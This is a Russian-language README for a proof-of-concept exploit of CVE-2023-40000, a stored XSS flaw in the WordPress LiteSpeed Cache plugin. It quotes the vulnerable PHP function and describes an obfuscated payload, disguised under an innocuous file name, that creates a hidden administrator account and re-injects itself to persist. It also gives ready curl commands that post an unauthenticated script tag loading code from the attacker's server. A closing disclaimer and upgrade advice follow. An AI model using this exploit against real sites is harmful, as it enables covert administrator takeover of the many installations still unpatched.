
PoC для XSS-уязвимости в плагине WordPress LiteSpeed Cache (CVE-2023-40000), позволяющей повышение привилегий. Включает код, объяснения и меры по смягчению последствий.
PoC для XSS-уязвимости в плагине LiteSpeed Cache для WordPress, позволяющей повысить привилегии. Эта уязвимость была исправлена в версии 5.7.0.1 плагина, и ей присвоен идентификатор CVE-2023-40000. Согласно странице расширенного просмотра плагина, около 35% пользователей всё ещё используют уязвимую версию (<5.7.0.1), что составляет около 1,8 млн веб-сайтов.
Из-за отсутствия санитизации входных данных в функции update_cdn_status (неаутентифицированные) пользователи могут отправлять POST-запрос с заражённым значением формы _msg, которое сохраняется, а затем отображается в административной секции WordPress. Это может позволить любому создавать учётные записи администратора, повышать свои привилегии или похищать конфиденциальную информацию, отправив всего один неаутентифицированный POST-запрос. Уязвимую функцию можно найти здесь или ниже, а функцию Admin_Display::error можно найти здесь.
/**
* Callback for updating Auto CDN Setup status after run
*
* @since 4.7
* @access public
*/
public function update_cdn_status() {
if ( !isset( $_POST[ 'success' ] ) || !isset( $_POST[ 'result' ] ) ) {
self::save_summary( array( 'cdn_setup_err' => __( 'Received invalid message from the cloud server. Please submit a ticket.', 'litespeed-cache' ) ) );
return self::err( 'lack_of_param' );
}
if (!$_POST[ 'success' ]) {
self::save_summary( array( 'cdn_setup_err' => $_POST[ 'result' ][ '_msg' ] ) );
Admin_Display::error( __( 'There was an error during CDN setup: ', 'litespeed-cache' ) . $_POST[ 'result' ][ '_msg' ] );
} else {
$this->_process_cdn_status($_POST[ 'result' ]);
}
return self::ok();
}
Proof of concept в этом репозитории содержит NodeJS express-сервер, предназначенный для обфускации и доставки XSS-пейлоада, а также для перехвата входящих ping-запросов и данных. Скрипт пейлоада демонстрирует потенциальные действия атакующих, эксплуатирующих эту уязвимость: он создаёт учётную запись администратора с именем пользователя "wp-config-user" и паролем "somepassword123". XSS-пейлоад, который также замаскирован под admin-bar-reloaded.min, скрывает исходное XSS-всплывающее окно при загрузке, полностью скрывает созданного пользователя на странице администратора users.php и повторяет исходный POST-запрос для поддержания постоянного сохранённого XSS.
npm install для установки зависимостей.node index.js.Используйте следующую команду cURL для отправки POST-запроса на уязвимую конечную точку:
curl -X POST "https://target.website/wordpress/wp-json/litespeed/v1/cdn_status" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "success=0&result[_msg]=<script src=https://your.server/admin-bar-reloaded.min.js></script>"
curl -X POST "https://target.website/wordpress/wp-json/litespeed/v1/cdn_status" ^
-H "Content-Type: application/x-www-form-urlencoded" ^
-d "success=0&result[_msg]=<script src=https://your.server/admin-bar-reloaded.min.js></script>"
Содержимое этого репозитория предоставляется строго в образовательных и исследовательских целях. Я не несу ответственности за любое неправомерное использование или незаконные действия, связанные с использованием этого proof of concept. Кроме того, на странице плагина LiteSpeed Cache было опубликовано предупреждение, советующее всем пользователям обновить своё программное обеспечение из-за этой известной уязвимости. Пожалуйста, убедитесь, что ваши установки обновлены до версии 5.7.0.1 или более поздней, чтобы устранить эту проблему.